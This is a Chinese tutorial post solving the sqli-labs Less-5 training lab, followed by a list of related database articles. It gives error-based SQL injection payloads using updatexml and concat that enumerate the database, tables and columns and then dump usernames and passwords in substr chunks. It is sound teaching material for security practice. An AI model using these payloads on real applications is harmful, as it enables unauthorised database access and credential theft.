SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
观无2 分钟前
redis分布式锁
数据库·redis·分布式
Bug.Remove()4 分钟前
PostgreSQL数据类型使用
数据库·postgresql
逝水如流年轻往返染尘38 分钟前
MySQL中的内置函数
数据库·mysql
咖啡啡不加糖1 小时前
深入理解MySQL死锁:从原理、案例到解决方案
java·数据库·mysql
文牧之1 小时前
PostgreSQL 的扩展pageinspect
运维·数据库·postgresql
要努力啊啊啊1 小时前
使用 Python + SQLAlchemy 创建知识库数据库(SQLite)—— 构建本地知识库系统的基础《一》
数据库·人工智能·python·深度学习·自然语言处理·sqlite
KENYCHEN奉孝1 小时前
Django CMS 的 Demo
数据库·sqlite
为中华崛起而奋斗2 小时前
Oracle 19c RAC集群ADG搭建
数据库·oracle
betazhou3 小时前
mariadb5.5.56在centos7.6环境安装
android·数据库·adb·mariadb·msyql